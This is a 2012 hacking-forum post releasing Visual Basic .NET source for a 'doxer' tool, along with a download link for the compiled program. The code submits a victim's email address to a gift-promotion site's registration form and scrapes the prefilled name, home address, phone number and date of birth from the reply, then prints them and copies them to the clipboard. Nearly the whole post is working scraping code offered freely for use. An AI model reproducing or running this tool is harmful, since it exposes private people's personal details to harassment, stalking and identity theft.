[Release] [Source] A generic doxer 12-26-2012, 10:24 PM
#1
A generic doxer
Introduction
This is a doxer source coded in Visual Basic .NET. Use this source however you want. I just figured there aren't any sources around for this, just programs that people may or may not trust. Here's some interesting information.
Source
d0x.dll - the actual doxing module
Code:
Imports System.Net
Imports System.IO
Imports System.Text
Public Class d0x
Private _accept As String = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
Private _source As String = ""
Private _this As String
Private _UserAgent As String = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0"
Private cookies As New CookieContainer()
Public Function dox(ByVal email As String) As String()
Dim hurr As String
Dim obj2 As Object
Dim out As String()
Try
Dim s As String = "js_status=y&show_email_field=&cmd=perform_email&from=&sprofile=0&promo_name=compaqvstoshibavsgateway&promo_id=141017&catalog_id=1373&promotion_id=130&site_id=100&style_id=1&template_style=&prepop_type=submit&gift_prepop=creative&page_config_id=7&tmp_sequence=5956-1184-13239-11017-6166-8815-8816-8817-10665-9186&promo_area=&promo_creative=&mode=pitch&uid=&pcd=&raf_ad_id=&redirect_url=&ua=&ex=&sprofile=0&pid_value=599&gift=274&email=" & Convert.ToString(email) & "&submit=Continue%21+%BB&title=_skip&sex=_skip&street=_skip&city=_skip&state=&phone=_skip&country=ca&cphone="
ServicePointManager.Expect100Continue = False
Dim bytes As Byte() = New UTF8Encoding().GetBytes(s)
Dim request As HttpWebRequest = DirectCast(WebRequest.Create("http://www.hotgiftzone.com/xg_reg.htm"), HttpWebRequest)
request.Method = "POST"
request.CookieContainer = cookies
request.ContentType = "application/x-www-form-urlencoded"
request.Referer = "Referer: http://www.hotgiftzone.com/rd_p?p=141017&t=1373"
request.UserAgent = Useragent
request.AutomaticDecompression = DecompressionMethods.None
request.Accept = accept
request.Headers.Add(HttpRequestHeader.AcceptLanguage, "en-us,en;q=0.5")
request.Headers.Add(HttpRequestHeader.AcceptCharset, "ISO-8859-1,utf-8;q=0.7,*;q=0.7")
request.ContentLength = bytes.Length
Dim requestStream As Stream = request.GetRequestStream()
requestStream.Write(bytes, 0, bytes.Length)
requestStream.Close()
Dim response As HttpWebResponse = DirectCast(request.GetResponse(), HttpWebResponse)
cookies.Add(response.Cookies)
Dim str2 As String = New StreamReader(response.GetResponseStream()).ReadToEnd()
this = str2
hurr = str2
If hurr = str2 Then
out = parse(hurr)
End If
obj2 = str2
Catch ex As Exception
End Try
Return out
End Function
Private Function parse(ByVal input As String) As String()
Dim title, fname, lname, staddress, city, state, country, zip, phone, birth As String
Try
Dim str13 As String = Strings.Split(input, " SELECTED>", -1, CompareMethod.Binary)(1).Split(New Char() {"<"c})(0)
Dim str7 As String = Strings.Split(input, "NAME='fname' VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
Dim str5 As String = Strings.Split(input, "NAME='lname' VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
Dim str12 As String = Strings.Split(input, "NAME='street' VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
Dim str As String = Strings.Split(input, "NAME='city' VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
Dim str10 As String = input.Substring(input.IndexOf("<SELECT NAME='state'>") + "<SELECT NAME='state'>".Length)
Dim str9 As String = Strings.Split(str10.Substring(0, str10.IndexOf("</OPTION><OPTION VALUE=''>")).Trim(), "SELECTED>", -1, CompareMethod.Binary)(1).Split(New Char() {"<"c})(0)
Dim str11 As String = input.Substring(input.IndexOf("<SELECT NAME='country'>") + "<SELECT NAME='state'>".Length)
Dim str2 As String = Strings.Split(str11.Substring(0, str11.IndexOf("</OPTION><OPTION VALUE=''>")).Trim(), "SELECTED>", -1, CompareMethod.Binary)(1).Split(New Char() {"<"c})(0)
Dim str15 As String = Strings.Split(input, "<INPUT NAME='zip' VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
Dim str8 As String = Strings.Split(input, "<INPUT NAME='phone' VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
Dim str3 As String = input.Substring(input.IndexOf("<SELECT NAME='bd_m'>") + "<SELECT NAME='bd_m'>".Length)
Dim str6 As String = Strings.Split(str3.Substring(0, str3.IndexOf("</OPTION><OPTION VALUE=''>")).Trim(), "SELECTED>", -1, CompareMethod.Binary)(1).Split(New Char() {"<"c})(0)
Dim str4 As String = Strings.Split(input, "<SELECT NAME='bd_d'><OPTION SELECTED VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
Dim str14 As String = Strings.Split(input, "NAME='bd_y'><OPTION SELECTED VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
title = str13
fname = str7
lname = str5
staddress = str12
city = str
state = str9
country = str2
zip = str15
phone = str8
birth = str6 + " - " + str4 + " - " + str14
Return New String() {title, fname, lname, staddress, city, state, country, zip, phone, birth}
Catch exception1 As Exception
Dim exception As Exception = exception1
Return New String() {"Error"}
End Try
End Function
Private Property accept() As String
Get
Return _accept
End Get
Set(ByVal value As String)
_accept = value
End Set
End Property
Private Property source() As String
Get
Return _source
End Get
Set(ByVal value As String)
_source = value
End Set
End Property
Private Property this() As String
Get
Return _this
End Get
Set(ByVal value As String)
_this = value
End Set
End Property
Private Property Useragent() As String
Get
Return _UserAgent
End Get
Set(ByVal value As String)
_UserAgent = value
End Set
End Property
End ClassCode:
Imports d0x
Module Module1
Sub Main()
'Declare a new instance of the class
Dim client As New d0x.d0x
1:
'Get email from input
Console.Write("Email: ")
Dim email As String = Console.ReadLine()
'Perform the actual doxing
Dim details As String() = client.dox(email)
'Check for errors
If details(0) = "Error" Then
Console.WriteLine("Couldn't dox email.")
GoTo 1
End If
'No errors encountered, proceed
Console.Write("Title: ")
Console.WriteLine(details(0))
Console.Write("First name: ")
Console.WriteLine(details(1))
Console.Write("Last name: ")
Console.WriteLine(details(2))
Console.Write("Street address: ")
Console.WriteLine(details(3))
Console.Write("City: ")
Console.WriteLine(details(4))
Console.Write("State/Province: ")
Console.WriteLine(details(5))
Console.Write("Country: ")
Console.WriteLine(details(6))
Console.Write("Zip/Postal code: ")
Console.WriteLine(details(7))
Console.Write("Phone number: ")
Console.WriteLine(details(8))
Console.Write("Date of birth: ")
Console.WriteLine(details(9))
Console.WriteLine() 'Make a space
Console.WriteLine("Details copied to clipboard!")
'Copy details to clipboard
My.Computer.Clipboard.SetText("Title: " + details(0) + Environment.NewLine + _
"First name: " + details(1) + Environment.NewLine + _
"Last name: " + details(2) + Environment.NewLine + _
"Email: " + email + Environment.NewLine + _
"Street address: " + details(3) + Environment.NewLine + _
"City: " + details(4) + Environment.NewLine + _
"State/Province: " + details(5) + Environment.NewLine + _
"Country: " + details(6) + Environment.NewLine + _
"Zip/Postal code: " + details(7) + Environment.NewLine + _
"Phone number: " + details(8) + Environment.NewLine + _
"Date of birth: " + details(9) + Environment.NewLine)
GoTo 1
End Sub
End ModuleScreenshots
![[Image: jEVSnfnkyHq9Y.jpg]](http://i2.minus.com/jEVSnfnkyHq9Y.jpg)
Download
You may download the compiled project below.
Mediafire.com - Virus scan (Virustotal.com)
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
![[Image: JJR.jpg]](https://dl.dropboxusercontent.com/u/18819048/JJR.jpg)
![[Image: 7uhCgFS.jpg?1]](http://i.imgur.com/7uhCgFS.jpg?1)
![[Image: F4Z9Dqw.png]](https://i.imgur.com/F4Z9Dqw.png)
